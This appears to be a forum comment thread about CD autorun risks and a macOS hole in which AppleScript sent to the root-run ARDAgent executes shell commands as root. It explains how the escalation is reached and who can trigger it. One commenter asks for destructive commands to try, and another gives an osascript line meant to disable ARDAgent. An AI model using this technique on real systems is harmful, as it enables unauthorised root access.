Oh! A sarcasm detector! THAT'S useful.
Just out of interest, under which circumstances do you _not_ want a data CD to be mounted when you insert it in your drive?
I'm talking about autorun being the "stupid thing"... not automount.
However, now that you mention it, it should probably pop up a dialog asking how you want to mount it:
1. Should the mount honor the execute bit or not?
2. Should the mount honor setuid/setgid bits or not?
3. Should the mount honor device nodes or not?
4. Should the mount honor access permissions or not?
If you're not logged in as a privileged user, you probably shouldn't get options 2 or 3, and the CD should probably be mounted as if all the files were owned by you.
And, finally, I often want to insert a CDROM to copy it, or to examine it with a file system analysis tool. So "don't mount it, ignore it" should be an option.
KDE opens a dialog and asks you if you want the CD to be mounted
OK, I missed this, I read this as "KDE opens a dialog and asks you if you want the CD to be executed" or something like that, because my new day job involves writing software for Linux, so I've occasionally got to test software on a variety of Linux boxes and we have a rack of test boxes running a set of bog standard Linux installs (they wouldn't be much good as test boxes if they'd been customized) and when you stick a CD containing a shell script called "/autorun" in many of these boxes, it pops up a dialog asking if it should *execute* that file.
Yes, really.
I think this happens on Gnome-based boxes rather than KDE, but it regularly happens.
There's actually a spec for this kind of craziness: Desktop Application Autostart Specification... look under "Autostart Of Applications After Mount".
Here's what I wrote in 2006 when I first read about the spec: Linux is not Windows.
Combined with the behavior you're describing this is doubly stupid, because someone used to KDE would be likely to reflexively hit that "please infect my computer" button before noticing that it's not asking to mount the CD.
Thanks for this post.
*quietly unchecks a certain checkbox*
Unfortunately, many people have user settings from when opening safe files WAS enabled by default (like me). All apple upgrades preserve user settings, so many people still have that little box checked.
Help I'm a rock.
Autorun is worse than things like bugs in JPG or bugs in file systems.
:)
Bugs, you can fix.
When the security flaw is in the design you can't fix it without breaking stuff that was written based on the flawed design.
THe poster boy for this phenomenon, of course, is the Microsoft HTML control, Internet Explorer, and ActiveX.
All osascript is doing is compiling and running 'tell application "ARDAgent" to...' as the logged in user. The application "ARDAgent" is already running as root, and accepting '... do shell script "..."' and running it. If ARDAgent is not running, then the osascript command just hangs waiting for it to start up (as it does on my computer, because I don't have Apple Remote Desktop running).
The bug is that ARDAgent's applescript library blithely executes "do shell script".
What other applications running with elevated privileges accept random Applescript from any random yobbo?
Most commands I've tried respond with "syntax error: No user interaction allowed. (-1713)".
It's not quite as easy as passing in an "applescript:" URL, at least...
I'm going to go out on a limb and guess you weren't referring to bootable or "live" CDs (and unless they've changed policies since the original OS X, you can still restore or nuke your Mac by booting from the system discs), but the annoying and potentially dangerous concept of autostarting an application when a CD is inserted. Either way requires physical access to the machine, unless you rookit in and use a virtual device reading an image file... then we get into the fan-favorite "running Linux inside a VM on BeOS in a VM on Amiga..." scenario.
"We are Microsoft. You shall be assimilated. Competition is futile."
but the annoying and potentially dangerous concept of autostarting an application when a CD is inserted.
Indeed.
Either way requires physical access to the machine
I don't need physical access to the machine to distribute malware on a CD. I just need to distribute a CD that will launch said malware when it's inserted, and let my victims provide the physical access part at their leisure.
that's auto-run, not auto-mount.
Advanced users are users too!
Scenario:
I'm the only user logged in, and I have a keyboard onto an OS X box. I cannot access the box itself.
I plug in my EVUL USB KEY OF DEWM (into the USB port on the keyboard), go Apple->Restart, it does so, I hold down OPTION, I get to choose to boot off the EUKoD.
Peter
it can also be replaced with "Whooooooosh!"
;)
I agree with you, I just say this issue should be used to debunk the junk which claims to do heuristics wasting user CPU. If something does heuristics on an OS without any known viruses, it should really do it. I am speaking about pro active security like "what launches what, what did user do". All serious antivirus on Windows does it and Mac antivirus doesn't while it is more expensive than Windows one.
"since this exploit seems to require physical access to the machine to be rooted," Excuse me but this is absolutely false. Anyone that has remote access to this system as a regular user can launch the exploit. Are you saying that you have to be actually sitting at the keyboard to run Apple Script? !!???
OK, I am interested in this, but having a little trouble understanding what this exploit can do. I ran the default script, and yes, it did return "root". But, can it do practical things? Can it create a user? Reveal/change passwords for existing users? Delete files? Can it run the dreaded rm *.*? I have two powerbooks sitting around that have leopard I could blow away if someone can suggest commands to run. I'll report the results.
I dunno if anyone's actually looked at this, but it's a lot worse than "requires physical access". For example...
1) Any program running on your system automatically can run AppleScript.
2) Any system configured to do load sharing via Xgrid can have commands injected that will do this sort of thing.
3) Anyone who can access the machine from remote can do it, including via VNC.
osascript -e 'tell app "ARDAgent" to run shell script "chmod -r ugo-rwx /System/Library/RemoteManagement/ARDAgent.app"'
but re-run it after doing any kind of "repair permissions" on the volume.